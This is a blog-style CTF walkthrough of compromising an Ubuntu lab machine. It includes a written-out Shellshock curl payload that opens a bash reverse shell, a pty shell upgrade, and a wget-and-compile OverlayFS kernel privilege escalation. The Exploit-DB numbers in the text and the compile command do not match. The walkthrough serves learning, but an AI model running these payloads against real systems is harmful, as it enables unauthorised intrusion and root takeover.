Sitemap
vantaroot

vantaroot

Cybersecurity researcher | Bug hunter | CTF

0day

3 min read2 days ago

Exploit Ubuntu, like a Turtle in a Hurricane

Press enter or click to view image in full size
Press enter or click to view image in full size

Hello hackers, my name is Molapo Manuel aka vantaroot. I am founder and Security researcher.

Methodology:

Enumeration — Initial access — Privilege Escalation

Enumeration:

using nmap to scan ports i found out that two ports are opened which are ssh(22) and http(80).

Press enter or click to view image in full size

Navigating through the port 80 which is the http://10.80.148.251 i see ryan face .

Press enter or click to view image in full size

Further enumeration using dirsearch to enumerate the directories.i discover several directories.

Press enter or click to view image in full size

i browsed through robots.txt directory i found out that ryan is mocking me.

Press enter or click to view image in full size

Then navigated to the backup directory.Found something interesting a private key can we use it for ssh login?

But The /cgi-bin/test.cgi endpoint is vulnerable to Shellshock (CVE-2014-6271 / CVE-2014-6278), allowing remote code execution (RCE) via crafted HTTP header.

Get vantaroot’s stories in your inbox

Join Medium for free to get updates from this writer.

let set up a listener on port 4444

Press enter or click to view image in full size

Send a crafted User-Agent or custom header containing a Bash function definition through curl or a Python script to trigger a reverse shell back to your listener (www-data user )

curl -H ‘User-Agent: () { :; }; /bin/bash -c “bash -i >& /dev/tcp/<your-ip>/<port> 0>&1”’ http://<target-ip>/cgi-bin/test.cgi

Press enter or click to view image in full size

After a few second we got a reverse shell.

Press enter or click to view image in full size

Upgrade Shell: Stabilize your shell using Python using the below command.

python -c ‘import pty; pty.spawn(“/bin/bash”)’

Then navigate to ryan directory to retrieve the flag.

Press enter or click to view image in full size

Privilege Escalation (OverlayFS / CVE-2015–1328)

On the session using uname -a it reveals the system kernel version.This kernel version is vulnerable to the OverlayFS local privilege escalation exploit (CVE-2015–1328 / Exploit-DB 37292).

Press enter or click to view image in full size

Download the exploit and set a http server to make it accessible on session shell.

Press enter or click to view image in full size

On the shell download the exploit and compile the code.

wget http://192.168.131.186:8000/exploit
gcc 37929 -o exploit

Then run the the exploit ./exploit

Press enter or click to view image in full size

Then i got the in the root.

--

--

vantaroot
vantaroot

Written by vantaroot

Cybersecurity researcher | Bug hunter | CTF